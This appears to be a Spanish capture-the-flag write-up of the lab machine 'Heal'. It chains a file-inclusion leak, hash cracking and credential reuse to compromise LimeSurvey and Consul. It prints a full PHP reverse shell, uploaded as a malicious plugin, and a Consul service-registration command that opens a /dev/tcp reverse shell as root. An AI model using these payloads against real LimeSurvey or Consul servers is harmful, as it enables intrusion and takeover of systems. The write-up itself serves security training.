Writeup Heal
Dificultad: Media
Sistema Operativo: Linux
hola! vamos a P0wn3ar esta Heal, se trata de una aplicacion web la cual tiene 2 subdominios, en el cual uno de ellos hay una mala configuración que puede ser aprovechada para explotar la vulnerabilidad LFI, lo que nos hará encontrar archivos de configuracion importantes en el servidor y datos mal almacenados que seran usados para iniciar en un panel administrativo y explotar la subida de Pluggins maliciosos en limesurvey pudiendo ganar una reverse shell en el sistema objetivo. En la escalada de privilegios tenemos algo similar, llegando a una aplicación de la red interna mediante ssh-portfordwarding e inyectando un servicio malicioso en la misma.
Primero vamos a crear los directorios de trabajo:
mkdir nmap content exploits && cd nmap
Reconocimiento:
hacemos el primer escaneo con nmap para descubrir puertos abiertos:
nmap -p- --open -sS -Pn -vvv -n --min-rate 5000 10.129.231.237 -oN puertos
tenemos:
Scanned at 2025-05-11 09:25:46 CEST for 11s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
2 puertos clásicos 80http 22ssh
vamos a tomar estos puertos y veamos que servicios están expuesto:
nmap -p22,80 -sCV -n -vvv 10.129.231.237 -oN objetivos
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o=
| 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
tenemos un hostname, voy a agregarlos a mi /etc/hosts
10.10.10.10 heal.htb
en busca de subdominios he escaneado con ffuf y gobuster pero sin resultados exitoso
tambien intentando escanear con feroxbuster subdirectorios, cada petición arroja 503
al hacer un whatweb veo:
http://heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.231.237], Script, Title[Heal], X-Powered-By[Express], nginx[1.18.0]
voy a ir a la web
es una web para construir currículos y tenemos un panel de inicio de sessión y de registro
no me permite crear una cuenta
mirando la solicitud en el burpsuite tenemos:
otro subdominio y es una api voy a agregarlo a mi /etc/hosts y veremos que encontramos
10.10.10.10 heal.htb api.heal.htb
despues de agregarla a mis hosts, ha podido reconocer la llamada y registrar la cuenta:
hemos ingresado a un panel para elaborar un resumen laboral
enumerando la web, hay un apartado que dice take a survey :
si clicamos, vemos que tenemos otro subdominio:
take-survey.heal.htb
Enumeracion:
pero vamos por parte, ya vamos a trabajar con el, primero podemos agregarlo a nuestros hosts y seguir enumerando la pagina (ya tenemos 3 subdominios)
10.10.10.10 heal.htb api.heal.htb take-survey.heal.htb
voy a probar este generador en la pagina principal mirando la solicitud de burpsuite todo son solicitudes a la api, asi que al interceptarlo no veo nada, pero mirando el historial http registrado por burp:
cuando vemos esto, siempre debemos probar si hay inclusión de archivos del servidor
pero estaba bastante ofuscado todo por asi decirlo, me parecia raro que la solicitud de descarga “get” fuera dificil de interceptar, asi que capturando los paquetes antes de que viajaran, lo logre, capture la solicitud get del archivo hacia la api, la modifique y:
no se podría hacer desde options dado el token, además no se podía cambiar el método porque daba un error
mientras probaba esto, descubrí 2 cosas interesantes
1) la api es ruby rails version 7.1.4 desactualizada 2) take-survey es un software libre llamado LimeSurvey
ruby rails versión antigua y desactualizada
limesurvey, el cual expone el nombre de usuario de un administrador Ralph@heal.htp
antes de profundizar mas en estos softwares, quiero intentar enumerar el sistema desde el file inclusión, intentar mirar archivos de configuración
en el /etc/passwd podemos ver los siguientes usuarios:
ron
postgres (base de datos postgressql)
ralph
root
desde aquí no hay acceso a la flag de usuario
Explotacion de LFI:
buscare archivos de configuración
intentando varias, vi que el directorio de rails no funcionaba porque el nombre no era correcto asi que fui probando y :
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
tenemos otra ruta donde se almacena la base de datos en que esta en producción :D sigamos tirando de este hilo
para ambas bases de datos, la ruta es igual:
la base de datos, dado que no es tan grande en la misma respuesta podemos alcanzar a sacar datos:
ralph@heal : $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
test@heal : $2a$12$eXeY49S9LZnIaxnEfeN.6ecOg25vI/zRr/ot27AQvOC8.hR9emvYe
pasándolos por hashes.com para ver el tipo de hash, nos dice:
vamos con hashcat
hashcat hash /usr/share/wordlists/rockyou.txt -m 3200
ralph@heal.htb : $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG : 147258369
test@heal.htb : $2a$12$eXeY49S9LZnIaxnEfeN.6ecOg25vI/zRr/ot27AQvOC8.hR9emvYe : sin resultados
para descartar he probado ssh, pero sin resultados
vamos a los logins
en el principal:
en este punto, empezare a buscar sobre los otros subdominios, para ver como podemos aprovechar y que ventajas tendría
mirando un poco la documentación de la herramienta, si ponemos admin en la url, nos va a dirigir al panel de inicio de sesión administrativo:
http://take-survey.heal.htb/index.php/admin/authentication/sa/login
oh! y tambien funcionan aquí las credenciales encontradas:
tenemos una advertencia de seguridad:
Shell como www-data:
tambien es segunda vez que vemos esa fecha, la cual es bastante desactualizada, investigando vulnerabilidades hay una para la ejecución remota de comandos reportada para la versión 5.2.4 pero buscando la version de este, y vulnerabilidades especificas para esta versión (que la versión de este la encontramos en:http://take-survey.heal.htb/index.php/admin/globalsettings/sa/surveysettings ) tenemos:
https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE
al parecer es una carga maliciosa de un archivo zip, normalmente este tipo de vulnerabilidades se da en la carga de temas o plantillas y tenemos en la pagina una opción de carga de plugins:
necesitamos 2 archivos:
config.xml:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>3vilsec</name>
<type>plugin</type>
<creationDate>2025-01-13</creationDate>
<lastUpdate>2025-01-13</lastUpdate>
<author>3vilsec</author>
<authorUrl>https://github.com/N4s1rl1</authorUrl>
<supportUrl>https://github.com/N4s1rl1</supportUrl>
<version>6.6.4</version>
<license>GNU General Public License version 3 or later</license>
<description>
<![CDATA[Author : 3vilsec :D ]]></description>
</metadata>
<compatibility>
<version>6.0</version>
<version>5.0</version>
<version>4.0</version>
<version>3.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
una reverse shell el php (puede ser de pentestmokey o de revshells.com):
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.10';
$port = 443;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
vamos a empaquetar ambos archivos en un comprimido zip:
zip 3vil.zip 3vil.php config.php
nos pondremos en encacha con nc:
nc -lnvp 443
primero se carga el zip:
claro que confiamos plenamente en este archivo :P
vamos a proceder a instalar:
y activarlo:
una vez activado vamos a visitar:
http://take-survey.heal.htb/upload/plugins/3vilsec/3vil.php
y tenemos nuestra revshell:
mirando los archivos de configuración de la pagina limesurvey en la ruta /var/www/limesurvey/application/config/ (dado que es una ruta típica)
el archivo config.php:
return array(
'components' => array(
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
'session' => array (
'sess$ ionName'=>'LS-ZNIDJBOXUNKXWTIP',
ssh como ron:
user.txt
siempre que encontramos credenciales, hay que probarlas contra los usuarios del sistema o contra algún panel en el directorio home solo vemos a ralph y ron, y si probamos las creds:
funcionan para el usuario ron muy bien y allí esta la flag, por lo que me hace suponer que tambien funcionara el ssh para este usuario
enumerando el sistema, hay muchos puertos abiertos en escucha:
buscando uno por uno, mirando cual tiene contenido, solo 2 de los no cumunes descargaron contenido al intentarme conectar con wget:
wget 127.0.0.1:8302
wget 127.0.0.1:8500
aunque el que mas contenido muestra es el 8500, para ver el contenido desde el navegador quiero hacerle un port forwarding con ssh:
ssh -L 6969:127.0.0.1:8500 ron@10.129.231.237
vamos a traer el puerto a nuestro puerto 6969 para poder verlo en la web
si vamos al navegador: es un servicio llamado consul ui
vemos que ese programa en la maquina lo esta corriendo el usuario root:
que es hashicorp consul:
es una solución de red, que permite a los equipos gestionar la conectividad d red entre servicios ejecutables https://developer.hashicorp.com/consul/docs/intro
es una interface para administrar servicios en la red de un servidor
Shell como Root:
root.txt
si investigamos escaladas de privilegio o ejecuciones remostas de comando, tenemos: https://www.exploit-db.com/exploits/51117
que nos muestra cmo se esta inyectando un servicio malicioso que devuelve una reverse shell a nuestro equipo, pero este exploit requiere algo llamado acl_token, si buscamos en la maquina con:
/usr/local/bin/consul acl token list
env | grep CONSUL
o incluso vemos si hay variables de entorno con el token:
env
no vemos nada asi que, vamos a intentar registrar un servicio sin la clave a ver si la api esta expuesta en el servidor:
curl -X PUT -d '{"ID": "test", "Name": "test"}' http://127.0.0.1:8500/v1/agent/service/register
si actualizamos nuestro navegador:
podemos inyectar servicios
ahora, modificando el payload de exploitdb tenemos:
curl -X PUT -d '{
"ID": "pwn",
"Name": "pwn",
"Address": "127.0.0.1",
"Port": 9999,
"check": {
"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/127.0.0.1/4443 0>&1"],
"interval": "10s"
}
}' http://127.0.0.1:8500/v1/agent/service/register
dado que tenemos nc en esta misma maquina, nos podemos en escucha:
nc -lnvp 4443
y nos da la shell como pero se va:
así que como la conexión dura 1 min, simplemente cambie la bash a suid:
y ya pude convertirme en root con una shell mas estable:
ya en el directorio root, vemos los scripts que estaban complicando la maquina haha!
nos vemos en la siguiente maquina!